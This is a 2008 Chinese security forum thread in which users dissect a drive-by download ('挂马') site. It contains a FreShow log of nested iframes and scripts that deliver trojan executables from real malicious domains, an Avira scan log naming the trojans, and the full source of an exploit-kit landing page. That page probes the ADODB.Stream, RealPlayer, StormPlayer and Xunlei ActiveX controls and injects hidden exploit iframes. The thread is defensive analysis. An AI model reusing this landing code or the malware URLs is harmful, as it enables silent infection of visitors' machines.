毒网一个

yusup

毒网一个：http://www.chinalxj.net/sca_view.asp?id=6998
avast!狂叫！

真.菲戈

我靠
Firefox＋伞八也报，硬盘狂响后差点卡死……
重启了一下OK了

yusup

我用opera不卡呀！

shery0000

华丽的挂马,不容易
Log is generated by FreShow.
[wide]http://ca.winvv.com/cn.htm
    [frame]http://jjj.hfb86.cn/w6.htm
        [object]http://b.s102-cnzz.com/0rl.exe
            [object]http://b.s102-cnzz.com/ad.cab
        [frame]http://yuerhj905687hjerklgf.cn/new/cc.htm
            [object]http://ok.tianxiayouzei.com/mmuu/arl.exe
            [script]http://yuerhj905687hjerklgf.cn/new/014.js
                [object]http://b.s102-cnzz.com/0014.exe
            [script]http://yuerhj905687hjerklgf.cn/new/c1.js
                [object]http://b.s102-cnzz.com/0rl.exe
            [script]http://yuerhj905687hjerklgf.cn/new/bf.js
                [object]http://b.s102-cnzz.com/0bf.exe
            [frame]http://yuerhj905687hjerklgf.cn/new/web1.htm
                [object]http://b.s102-cnzz.com/0lz.exe
            [frame]http://yuerhj905687hjerklgf.cn/new/c2.htm
                [object]http://b.s102-cnzz.com/0rl.exe
        [frame]http://yuerhj905687hjerklgf.cn/new/c1.htm
            [object]http://b.s102-cnzz.com/0rl.exe
    [frame]http://www.fast800.cn/shan.htm
        [frame]http://www.fast800.cn/ad/vip.htm
            [frame]http://www.fast800.cn/ad/14.htm
            [frame]http://www.fast800.cn/ad/rl.htm
            [frame]http://www.fast800.cn/ad/new.htm
            [frame]http://www.fast800.cn/ad/lz.htm
            [frame]http://www.fast800.cn/ad/bf.htm
                [object]http://www.ftp356.cn/e.exe
            [frame]http://www.fast800.cn/ad/xl.htm
                [object]http://www.yaoaoyou.cn/down.exe
    [frame]http://ca.winvv.com/ie.htm
        [frame]http://www.kekg888.cn/web/6619038.htm
            [frame]http://www.kekg888.cn/web/htm.html
                [script]http://www.kekg888.cn/web/1.js
                    [object]http://exe.wokaixin.com/014.exe
                [script]http://www.kekg888.cn/web/bf.js
                    [object]http://exe.wokaixin.com/bf.exe
                [script]http://www.kekg888.cn/web/pps.js
                    [object]http://exe.wokaixin.com/pps.exe
                [frame]http://www.kekg888.cn/web/3.htm
                    [object]http://exe.wokaixin.com/lz.exe
        [frame]http://www.usaicac.cn/5519.htm
            [frame]http://www.usaicac.cn/abc/Ajax.htm
                [object]http://www.usaicac.cn/abc/mm.exe
            [frame]http://www.usaicac.cn/abc/Ms06014.htm
            [script]http://www.usaicac.cn/abc/Real.gif
            [frame]http://www.usaicac.cn/abc/Bfyy.htm
            [frame]http://www.usaicac.cn/abc/Lz.htm
            [frame]http://www.usaicac.cn/abc/XunLei.htm
            [frame]http://www.usaicac.cn/main.htm
            [frame]http://xindizhi88.com/6.htm
                [frame]http://xindizhi88.com/ai/Yes.htm
                    [frame]http://xindizhi88.com/ai/14.htm
                        [object]http://xindizhi88.com/8/abc.exe
                    [frame]http://xindizhi88.com/ai/rl.htm
                    [frame]http://xindizhi88.com/ai/new.htm
                    [frame]http://xindizhi88.com/ai/lz.htm
                    [frame]http://xindizhi88.com/ai/bf.htm
                    [frame]http://xindizhi88.com/ai/xl.htm
    [frame]http://czz.aeaer.com/c.htm
        [frame]http://cc.zuiyige.net/one/huai5.htm
            [frame]http://cc.benchi999.com/wmwm/new.htm
                [object]http://ok.tianxiayouzei.com/mmuu/abd.cab
                [script]http://cc.benchi999.com/wmwm/a014.js
                    [object]http://ok.tianxiayouzei.com/mmuu/a014.exe
                [script]http://cc.benchi999.com/wmwm/arl.js
                    [object]http://ok.tianxiayouzei.com/mmuu/arl.exe
                [script]http://cc.benchi999.com/wmwm/abf.js
                    [object]http://ok.tianxiayouzei.com/mmuu/abf.exe
                [frame]http://cc.benchi999.com/wmwm/alz.htm
                    [object]http://ok.tianxiayouzei.com/mmuu/alz.exe
                [frame]http://cc.benchi999.com/wmwm/anrl.htm
                    [object]http://ok.tianxiayouzei.com/mmuu/anrl.exe

秋叶濛濛

http://xindizhi88.com/ai/Yes.htm这个页面怎么解

Starting the file scan:

Begin scan in 'E:\AV\0rl.exe'
E:\AV\0rl.exe
    --> Object
      [1] Archive type: OVL
      --> Object
          [DETECTION] Is the Trojan horse TR/Agent.ltt.1
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\ad.cab'
E:\AV\ad.cab
  [0] Archive type: CAB (Microsoft)
    --> bd.exe
      --> Object
        [2] Archive type: OVL
        --> Object
            [DETECTION] Is the Trojan horse TR/Agent.ltt.1
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\arl.exe'
E:\AV\arl.exe
      [DETECTION] Is the Trojan horse TR/Downloader.Gen
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\0014.exe'
E:\AV\0014.exe
    --> Object
      [1] Archive type: OVL
      --> Object
          [DETECTION] Is the Trojan horse TR/Agent.ltt.1
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\0bf.exe'
E:\AV\0bf.exe
    --> Object
      [1] Archive type: OVL
      --> Object
          [DETECTION] Is the Trojan horse TR/Agent.ltt.1
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\0lz.exe'
E:\AV\0lz.exe
    --> Object
      [1] Archive type: OVL
      --> Object
          [DETECTION] Is the Trojan horse TR/Agent.ltt.1
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\e.exe'
E:\AV\e.exe
      [DETECTION] Is the Trojan horse TR/Crypt.Delf.D.63
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\014.exe'
E:\AV\014.exe
      [DETECTION] Is the Trojan horse TR/Agent.BHQ
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\bf.exe'
E:\AV\bf.exe
      [DETECTION] Is the Trojan horse TR/Agent.BHQ
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\pps.exe'
E:\AV\pps.exe
      [DETECTION] Is the Trojan horse TR/Agent.BHQ
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\lz.exe'
E:\AV\lz.exe
      [DETECTION] Is the Trojan horse TR/Agent.BHQ
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\mm.exe'
E:\AV\mm.exe
      [DETECTION] Contains suspicious code HEUR/Malware
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\abc.exe'
E:\AV\abc.exe
      [DETECTION] Is the Trojan horse TR/Hijacker.Gen
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\abd.cab'
E:\AV\abd.cab
  [0] Archive type: CAB (Microsoft)
    --> abd.exe
          [DETECTION] Is the Trojan horse TR/Downloader.Gen
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\a014.exe'
E:\AV\a014.exe
      [DETECTION] Is the Trojan horse TR/Downloader.Gen
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\abf.exe'
E:\AV\abf.exe
      [DETECTION] Is the Trojan horse TR/Downloader.Gen
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\alz.exe'
E:\AV\alz.exe
      [DETECTION] Is the Trojan horse TR/Downloader.Gen
      [NOTE]      The file was deleted!
Begin scan in 'E:\AV\anrl.exe'
E:\AV\anrl.exe
      [DETECTION] Is the Trojan horse TR/Downloader.Gen
      [NOTE]      The file was deleted!


End of the scan: 2008年5月16日  19:57
Used time: 00:26 min

The scan has been done completely.

      0 Scanning directories
     20 Files were scanned
     17 viruses and/or unwanted programs were found
      1 Files were classified as suspicious:
     18 files were deleted
      0 files were repaired
      0 files were moved to quarantine
      0 files were renamed
      0 Files cannot be scanned
      3 Files not concerned
      2 Archives were scanned
      0 Warnings
     18 Notes

The file 'mm.exe' has been determined to be 'MALWARE'. Our analysts named the threat TR/Dldr.Agent.pci. The term "TR/" denotes a trojan horse that is able to spy out data, to violate your privacy or carry out unwanted modifications to the system.Detection will be added to our virus definition file (VDF) with one of the next updates. Please note that Avira's proactive heuristic detection module AHeAD detected this threat up front without the latest VDF update as: HEUR/Malware.

qigang

挂得N多这站，被解过很多次了。

Palkia

我用THE WOULD进去不卡~

xqiafl

<HTML><BODY>
<script>window.onerror=function(){return true;}</script>
<Script Language="JScript">
        var cook = "silentwm";
       
        function setCookie(name, value, expire)
        {   
                window.document.cookie = name + "=" + escape(value) + ((expire == null) ? "" : ("; expires=" + expire.toGMTString()));
        }

        function getCookie(Name)
        {   
                var search = Name + "=";
                if (window.document.cookie.length > 0)
                {
                        offset = window.document.cookie.indexOf(search);
                        if (offset != -1)
                        {
                                offset += search.length;      
                          end = window.document.cookie.indexOf(";", offset)      
                          if (end == -1)
                            end = window.document.cookie.length;
                          return unescape(window.document.cookie.substring(offset, end));
                         }
                 }
          return null;
        }

        function register(name)
        {
                var today = new Date();
                var expires = new Date();
                expires.setTime(today.getTime() + 1000*60*60*24);
                setCookie(cook, name, expires);
        }

        function openWM()
        {
                var c = getCookie(cook);
                if (c != null)
                {
                  return;
                }
               
                register(cook);
               
                window.defaultStatus="完成";
                       
                try{ var e;
                        var ado=(document.createElement("object"));
                        ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
                        var as=ado.createobject("Adodb.Stream","")}
                catch(e){};
                finally{
                        if(e!="[object Error]"){
                                document.write("<iframe width=50 height=0 src=14.htm></iframe>")}
                        else
                        {       
                                try{ var j;
                                        var real11=new ActiveXObject("IERP"+"Ctl.I"+"ERPCtl.1");}
                                catch(j){};
                                finally{if(j!="[object Error]"){if(new ActiveXObject("IERPCtl.IERPCtl.1").PlayerProperty("PRODUCTVERSION")<="6.0.14.552")
                                        {document.write('<iframe width=10 height=0 src=rl.htm></iframe>')}
                         else
                         {
                                        document.write('<iframe width=10 height=0 src=new.htm></iframe>')}}}

                                try{ var g;
                                        var glworld=new ActiveXObject("GLIEDown.IEDown.1");}
                                catch(g){};
                                finally{if(g!="[object Error]"){
                                        document.write('<iframe style=display:none src=lz.htm></iframe>')}}

                                try{ var h;
                                        var storm=new ActiveXObject("MPS.StormPlayer.1");}
                                catch(h){};
                                finally{if(h!="[object Error]"){
                                        document.write('<iframe style=display:none src=bf.htm></iframe>')}}

                                try{ var f;
                                        var thunder=new ActiveXObject("DPClient.Vod");}
                                catch(f){};
                                finally{ if(f!="[object Error]"){
                                        document.write('<iframe width=50 height=0 src=xl.htm></iframe>')}}

                                if(f=="[object Error]" && g=="[object Error]" && h=="[object Error]" && j=="[object Error]")
                                {location.replace("about:blank");}
                        }}
        }

openWM();
</script>
</BODY></HTML>

详细请见: http://hi.baidu.com/286455989/bl ... 0089cf7acbe1d2.html